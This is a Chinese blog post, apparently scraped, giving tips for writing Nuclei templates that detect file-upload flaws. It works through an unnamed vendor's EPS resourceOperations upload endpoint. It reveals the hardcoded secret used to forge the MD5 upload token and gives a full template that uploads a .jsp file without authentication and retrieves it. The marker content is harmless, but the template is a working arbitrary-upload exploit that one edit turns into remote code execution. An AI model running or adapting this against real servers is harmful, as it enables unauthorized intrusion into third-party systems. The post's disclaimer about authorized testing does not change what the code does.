当前位置: 首页 > article >正文

Nuclei文件上传小Tips

前言

Nuclei对于文件上传类型Poc编写小Tips

图片

平台

ProjectDiscovery Cloud Platform:
https://cloud.projectdiscovery.io/
JsonPath:
https://jsonpath.com/
Json解析:
在线json解析平台即可

案例

某康resourceOperations upload接口存在前台上传
具体接口:
POST /eps/api/resourceOperations/upload?token=xxx HTTP/1.1

分析

token为 32位MD5大写,即
MD5(https://target.com/eps/api/resourceOperations/uploadsecretKeyIbuilding)转大写

Resp返回path如下:

{"success":true,"message":"上传附件成功","data":{"uuid":null,"resourceUuid":"9abf316d58xxxxx25460b9358c91","resourceType":9998,"operationType":999,"extAttrs":"{\"fileName\":\"1.jsp\",\"fileSize\":\"0.00KB\"}","pUuid":null,"isOn":null,"resourceName":"1.jsp","resourceSize":"0.00KB","unitName":null,"regionName":null}}

完整path:https://target.com/eps/upload/resourceUuid值.jsp

Nuclei for Poc

variables:
    boundary: "{{rand_base(20)}}"
    Token: '{{to_upper("{{md5("https://{{Hostname}}/eps/api/resourceOperations/uploadsecretKeyIbuilding")}}")}}'

path提取

图片

demo:

http:
  - raw:
      - |-
        POST /eps/api/resourceOperations/upload?token={{Token}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Connection: close
        Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
        Content-Type: multipart/form-data;boundary={{boundary}}
        Upgrade-Insecure-Requests: 1
        Content-Length: 174

        --{{boundary}}
        Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
        Content-Type: image/jpeg

        123456
        --{{boundary}}
      - |-
        GET /eps/upload/{{plt}}.jsp HTTP/1.1
        Host: {{Hostname}}
    extractors:
      - type: json
        part: body
        name: plt
        internal: true
        json: 
          - '.data.resourceUuid'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains_all(body_2,"123456") && status_code==200
 

获取更多网络安全优质免费学习资料与干货教程加

送渗透工具、技术文档、书籍,面试题、视频(基础到进阶。环境搭建,HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)、应急响应笔记、学习路线。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。


http://www.kler.cn/a/288103.html

相关文章:

  • vue2/vue3中使用的富文本编辑器vue-quill
  • ES6更新的内容中什么是proxy
  • 2、开发工具和环境搭建
  • WPF中如何使用区域导航
  • C++清除所有输出【DEV-C++】所有编辑器通用 | 算法基础NO.1
  • redis linux 安装
  • 多目标应用:基于环形拓扑的多目标粒子群优化算法(MO_Ring_PSO_SCD)的移动机器人路径规划研究(提供MATLAB代码)
  • 不用async与await将异步函数改为同步函数
  • MySQL 数据库课程设计
  • 软件测试学习笔记丨Chrome开发者模式
  • Linux-vim
  • 从自动驾驶看无人驾驶叉车的技术落地和应用
  • HTTP 之 HTTP头部优化策略(九)
  • Spring Boot 整合 Sentinel 实现流量控制
  • Facebook的AI革新:如何利用人工智能提升你的社交体验
  • Golang 教程5——函数02(时间函数、内建函数、错误机制)
  • 海外云手机实现海外社媒矩阵营销
  • 计算机网络(八股文)
  • 国内可以免费使用的gpt网站【九月持续更新】
  • 浏览器按F12进入开发者模式后频繁因为异常而暂停导致无法分析页面xpath
  • 企业财税自动化解决方案的优势与应用
  • 幂等的通用实现方案
  • Oracle rac 修改vip scan ip
  • 栈和队列算法题
  • zeppline如何配置用户登陆
  • 【Tools】如何评价黑悟空这款游戏